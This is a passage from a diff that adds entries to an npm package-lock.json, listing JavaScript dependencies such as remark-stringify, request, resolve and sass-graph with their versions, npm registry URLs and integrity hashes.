+                    "integrity": "sha512-tLqd653ArxJIPnKII6LMZwH+mb5q+n/GtXQZo6S6csPRs5zB0u79Yw8ouR3wTw8wxvdJFhpP6Y7jorWdCgLO0A==",
+                    "requires": {
+                        "unist-util-visit": "^1.1.0"
+                    }
+                },
+                "unist-util-visit": {
+                    "version": "1.4.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-1.4.1.tgz",
+                    "integrity": "sha512-AvGNk7Bb//EmJZyhtRUnNMEpId/AZ5Ph/KUpTI09WHQuDZHKovQ1oEv3mfmKpWKtoMzyMC4GLBm1Zy5k12fjIw==",
+                    "requires": {
+                        "unist-util-visit-parents": "^2.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-2.1.2.tgz",
+                    "integrity": "sha512-DyN5vD4NE3aSeB+PXYNKxzGsfocxp6asDc2XXE3b0ekO2BaRUpBicbbUygfSvYfUz1IkmjFR1YF7dPklraMZ2g==",
+                    "requires": {
+                        "unist-util-is": "^3.0.0"
+                    }
+                },
+                "vfile-location": {
+                    "version": "2.0.6",
+                    "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-2.0.6.tgz",
+                    "integrity": "sha512-sSFdyCP3G6Ka0CEmN83A2YCMKIieHx0EDaj5IDP4g1pa5ZJ4FJDvpO0WODLxo4LUX4oe52gmSCK7Jw4SBghqxA=="
+                }
+            }
+        },
+        "remark-retext": {
+            "version": "3.1.3",
+            "resolved": "https://registry.npmjs.org/remark-retext/-/remark-retext-3.1.3.tgz",
+            "integrity": "sha512-UujXAm28u4lnUvtOZQFYfRIhxX+auKI9PuA2QpQVTT7gYk1OgX6o0OUrSo1KOa6GNrFX+OODOtS5PWIHPxM7qw==",
+            "requires": {
+                "mdast-util-to-nlcst": "^3.2.0"
+            }
+        },
+        "remark-stringify": {
+            "version": "8.1.1",
+            "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-8.1.1.tgz",
+            "integrity": "sha512-q4EyPZT3PcA3Eq7vPpT6bIdokXzFGp9i85igjmhRyXWmPs0Y6/d2FYwUNotKAWyLch7g0ASZJn/KHHcHZQ163A==",
+            "requires": {
+                "ccount": "^1.0.0",
+                "is-alphanumeric": "^1.0.0",
+                "is-decimal": "^1.0.0",
+                "is-whitespace-character": "^1.0.0",
+                "longest-streak": "^2.0.1",
+                "markdown-escapes": "^1.0.0",
+                "markdown-table": "^2.0.0",
+                "mdast-util-compact": "^2.0.0",
+                "parse-entities": "^2.0.0",
+                "repeat-string": "^1.5.4",
+                "state-toggle": "^1.0.0",
+                "stringify-entities": "^3.0.0",
+                "unherit": "^1.0.4",
+                "xtend": "^4.0.1"
+            },
+            "dependencies": {
+                "ccount": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz",
+                    "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg=="
+                },
+                "character-entities": {
+                    "version": "1.2.4",
+                    "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz",
+                    "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw=="
+                },
+                "character-entities-html4": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz",
+                    "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g=="
+                },
+                "character-entities-legacy": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
+                    "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA=="
+                },
+                "character-reference-invalid": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz",
+                    "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg=="
+                },
+                "is-alphabetical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz",
+                    "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg=="
+                },
+                "is-alphanumerical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
+                    "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==",
+                    "requires": {
+                        "is-alphabetical": "^1.0.0",
+                        "is-decimal": "^1.0.0"
+                    }
+                },
+                "is-decimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz",
+                    "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw=="
+                },
+                "is-hexadecimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz",
+                    "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw=="
+                },
+                "longest-streak": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz",
+                    "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg=="
+                },
+                "parse-entities": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz",
+                    "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==",
+                    "requires": {
+                        "character-entities": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "character-reference-invalid": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-decimal": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "stringify-entities": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-3.1.0.tgz",
+                    "integrity": "sha512-3FP+jGMmMV/ffZs86MoghGqAoqXAdxLrJP4GUdrDN1aIScYih5tuIO3eF4To5AJZ79KDZ8Fpdy7QJnK8SsL1Vg==",
+                    "requires": {
+                        "character-entities-html4": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "xtend": "^4.0.0"
+                    }
+                }
+            }
+        },
+        "remove-trailing-separator": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
+            "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw=="
+        },
+        "renderkid": {
+            "version": "2.0.7",
+            "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.7.tgz",
+            "integrity": "sha512-oCcFyxaMrKsKcTY59qnCAtmDVSLfPbrv6A3tVbPdFMMrv5jaK10V6m40cKsoPNhAqN6rmHW9sswW4o3ruSrwUQ==",
+            "requires": {
+                "css-select": "^4.1.3",
+                "dom-converter": "^0.2.0",
+                "htmlparser2": "^6.1.0",
+                "lodash": "^4.17.21",
+                "strip-ansi": "^3.0.1"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "repeat-element": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz",
+            "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ=="
+        },
+        "repeat-string": {
+            "version": "1.6.1",
+            "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
+            "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w=="
+        },
+        "repeating": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz",
+            "integrity": "sha512-ZqtSMuVybkISo2OWvqvm7iHSWngvdaW3IpsT9/uP8v4gMi591LY6h35wdOfvQdWCKFWZWm2Y1Opp4kV7vQKT6A==",
+            "requires": {
+                "is-finite": "^1.0.0"
+            }
+        },
+        "replace-ext": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.0.tgz",
+            "integrity": "sha512-vuNYXC7gG7IeVNBC1xUllqCcZKRbJoSPOBhnTEcAIiKCsbuef6zO3F0Rve3isPMMoNoQRWjQwbAgAjHUHniyEA=="
+        },
+        "request": {
+            "version": "2.88.2",
+            "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
+            "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
+            "requires": {
+                "aws-sign2": "~0.7.0",
+                "aws4": "^1.8.0",
+                "caseless": "~0.12.0",
+                "combined-stream": "~1.0.6",
+                "extend": "~3.0.2",
+                "forever-agent": "~0.6.1",
+                "form-data": "~2.3.2",
+                "har-validator": "~5.1.3",
+                "http-signature": "~1.2.0",
+                "is-typedarray": "~1.0.0",
+                "isstream": "~0.1.2",
+                "json-stringify-safe": "~5.0.1",
+                "mime-types": "~2.1.19",
+                "oauth-sign": "~0.9.0",
+                "performance-now": "^2.1.0",
+                "qs": "~6.5.2",
+                "safe-buffer": "^5.1.2",
+                "tough-cookie": "~2.5.0",
+                "tunnel-agent": "^0.6.0",
+                "uuid": "^3.3.2"
+            },
+            "dependencies": {
+                "form-data": {
+                    "version": "2.3.3",
+                    "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
+                    "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
+                    "requires": {
+                        "asynckit": "^0.4.0",
+                        "combined-stream": "^1.0.6",
+                        "mime-types": "^2.1.12"
+                    }
+                },
+                "qs": {
+                    "version": "6.5.3",
+                    "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz",
+                    "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA=="
+                }
+            }
+        },
+        "require-directory": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+            "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="
+        },
+        "require-main-filename": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
+            "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg=="
+        },
+        "require-package-name": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/require-package-name/-/require-package-name-2.0.1.tgz",
+            "integrity": "sha512-uuoJ1hU/k6M0779t3VMVIYpb2VMJk05cehCaABFhXaibcbvfgR8wKiozLjVFSzJPmQMRqIcO0HMyTFqfV09V6Q=="
+        },
+        "requires-port": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+            "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="
+        },
+        "resolve": {
+            "version": "1.22.1",
+            "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz",
+            "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==",
+            "requires": {
+                "is-core-module": "^2.9.0",
+                "path-parse": "^1.0.7",
+                "supports-preserve-symlinks-flag": "^1.0.0"
+            }
+        },
+        "resolve-alpn": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz",
+            "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g=="
+        },
+        "resolve-cwd": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
+            "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
+            "requires": {
+                "resolve-from": "^5.0.0"
+            },
+            "dependencies": {
+                "resolve-from": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+                    "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+                }
+            }
+        },
+        "resolve-dir": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz",
+            "integrity": "sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==",
+            "requires": {
+                "expand-tilde": "^2.0.0",
+                "global-modules": "^1.0.0"
+            }
+        },
+        "resolve-from": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+            "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="
+        },
+        "resolve-url": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+            "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg=="
+        },
+        "responselike": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
+            "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
+            "requires": {
+                "lowercase-keys": "^1.0.0"
+            }
+        },
+        "restore-cursor": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
+            "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==",
+            "requires": {
+                "onetime": "^5.1.0",
+                "signal-exit": "^3.0.2"
+            }
+        },
+        "ret": {
+            "version": "0.1.15",
+            "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
+            "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg=="
+        },
+        "retext-english": {
+            "version": "3.0.4",
+            "resolved": "https://registry.npmjs.org/retext-english/-/retext-english-3.0.4.tgz",
+            "integrity": "sha512-yr1PgaBDde+25aJXrnt3p1jvT8FVLVat2Bx8XeAWX13KXo8OT+3nWGU3HWxM4YFJvmfqvJYJZG2d7xxaO774gw==",
+            "requires": {
+                "parse-english": "^4.0.0",
+                "unherit": "^1.0.4"
+            }
+        },
+        "retry": {
+            "version": "0.12.0",
+            "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
+            "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs="
+        },
+        "reusify": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+            "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw=="
+        },
+        "rgb-regex": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/rgb-regex/-/rgb-regex-1.0.1.tgz",
+            "integrity": "sha512-gDK5mkALDFER2YLqH6imYvK6g02gpNGM4ILDZ472EwWfXZnC2ZEpoB2ECXTyOVUKuk/bPJZMzwQPBYICzP+D3w=="
+        },
+        "rgba-regex": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/rgba-regex/-/rgba-regex-1.0.0.tgz",
+            "integrity": "sha512-zgn5OjNQXLUTdq8m17KdaicF6w89TZs8ZU8y0AYENIU6wG8GG6LLm0yLSiPY8DmaYmHdgRW8rnApjoT0fQRfMg=="
+        },
+        "right-align": {
+            "version": "0.1.3",
+            "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz",
+            "integrity": "sha512-yqINtL/G7vs2v+dFIZmFUDbnVyFUJFKd6gK22Kgo6R4jfJGFtisKyncWDDULgjfqf4ASQuIQyjJ7XZ+3aWpsAg==",
+            "requires": {
+                "align-text": "^0.1.1"
+            }
+        },
+        "rimraf": {
+            "version": "2.7.1",
+            "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz",
+            "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==",
+            "requires": {
+                "glob": "^7.1.3"
+            }
+        },
+        "ripemd160": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz",
+            "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==",
+            "requires": {
+                "hash-base": "^3.0.0",
+                "inherits": "^2.0.1"
+            }
+        },
+        "run-async": {
+            "version": "2.4.1",
+            "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz",
+            "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ=="
+        },
+        "run-parallel": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+            "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+            "requires": {
+                "queue-microtask": "^1.2.2"
+            }
+        },
+        "run-queue": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz",
+            "integrity": "sha512-ntymy489o0/QQplUDnpYAYUsO50K9SBrIVaKCWDOJzYJts0f9WH9RFJkyagebkw5+y1oi00R7ynNW/d12GBumg==",
+            "requires": {
+                "aproba": "^1.1.1"
+            }
+        },
+        "rx-lite": {
+            "version": "4.0.8",
+            "resolved": "https://registry.npmjs.org/rx-lite/-/rx-lite-4.0.8.tgz",
+            "integrity": "sha512-Cun9QucwK6MIrp3mry/Y7hqD1oFqTYLQ4pGxaHTjIdaFDWRGGLikqp6u8LcWJnzpoALg9hap+JGk8sFIUuEGNA=="
+        },
+        "rx-lite-aggregates": {
+            "version": "4.0.8",
+            "resolved": "https://registry.npmjs.org/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz",
+            "integrity": "sha512-3xPNZGW93oCjiO7PtKxRK6iOVYBWBvtf9QHDfU23Oc+dLIQmAV//UnyXV/yihv81VS/UqoQPk4NegS8EFi55Hg==",
+            "requires": {
+                "rx-lite": "*"
+            }
+        },
+        "rxjs": {
+            "version": "6.6.7",
+            "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz",
+            "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==",
+            "requires": {
+                "tslib": "^1.9.0"
+            }
+        },
+        "sade": {
+            "version": "1.8.1",
+            "resolved": "https://registry.npmjs.org/sade/-/sade-1.8.1.tgz",
+            "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==",
+            "requires": {
+                "mri": "^1.1.0"
+            }
+        },
+        "safe-buffer": {
+            "version": "5.1.2",
+            "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+            "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+        },
+        "safe-regex": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
+            "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==",
+            "requires": {
+                "ret": "~0.1.10"
+            }
+        },
+        "safer-buffer": {
+            "version": "2.1.2",
+            "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+            "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+        },
+        "sanitize-html": {
+            "version": "1.27.5",
+            "resolved": "https://registry.npmjs.org/sanitize-html/-/sanitize-html-1.27.5.tgz",
+            "integrity": "sha512-M4M5iXDAUEcZKLXkmk90zSYWEtk5NH3JmojQxKxV371fnMh+x9t1rqdmXaGoyEHw3z/X/8vnFhKjGL5xFGOJ3A==",
+            "requires": {
+                "htmlparser2": "^4.1.0",
+                "lodash": "^4.17.15",
+                "parse-srcset": "^1.0.2",
+                "postcss": "^7.0.27"
+            },
+            "dependencies": {
+                "domhandler": {
+                    "version": "3.3.0",
+                    "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
+                    "integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
+                    "requires": {
+                        "domelementtype": "^2.0.1"
+                    }
+                },
+                "htmlparser2": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
+                    "integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
+                    "requires": {
+                        "domelementtype": "^2.0.1",
+                        "domhandler": "^3.0.0",
+                        "domutils": "^2.0.0",
+                        "entities": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "sass-graph": {
+            "version": "2.2.5",
+            "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.5.tgz",
+            "integrity": "sha512-VFWDAHOe6mRuT4mZRd4eKE+d8Uedrk6Xnh7Sh9b4NGufQLQjOrvf/MQoOdx+0s92L89FeyUUNfU597j/3uNpag==",
+            "requires": {
+                "glob": "^7.0.0",
+                "lodash": "^4.0.0",
+                "scss-tokenizer": "^0.2.3",
+                "yargs": "^13.3.2"
+            },
+            "dependencies": {
+                "camelcase": {
+                    "version": "5.3.1",
+                    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+                    "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+                },
+                "cliui": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+                    "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+                    "requires": {
+                        "string-width": "^3.1.0",
+                        "strip-ansi": "^5.2.0",
+                        "wrap-ansi": "^5.1.0"
+                    }
+                },
+                "emoji-regex": {
+                    "version": "7.0.3",
+                    "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+                    "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
+                },
+                "find-up": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+                    "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+                    "requires": {
+                        "locate-path": "^3.0.0"
+                    }
+                },
+                "locate-path": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+                    "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+                    "requires": {
+                        "p-locate": "^3.0.0",
+                        "path-exists": "^3.0.0"
+                    }
+                },
+                "p-locate": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+                    "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+                    "requires": {
+                        "p-limit": "^2.0.0"
+                    }
+                },
+                "path-exists": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+                    "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ=="
+                },
+                "string-width": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+                    "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+                    "requires": {
+                        "emoji-regex": "^7.0.1",
+                        "is-fullwidth-code-point": "^2.0.0",
+                        "strip-ansi": "^5.1.0"
+                    }
+                },
+                "wrap-ansi": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+                    "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+                    "requires": {
+                        "ansi-styles": "^3.2.0",
+                        "string-width": "^3.0.0",
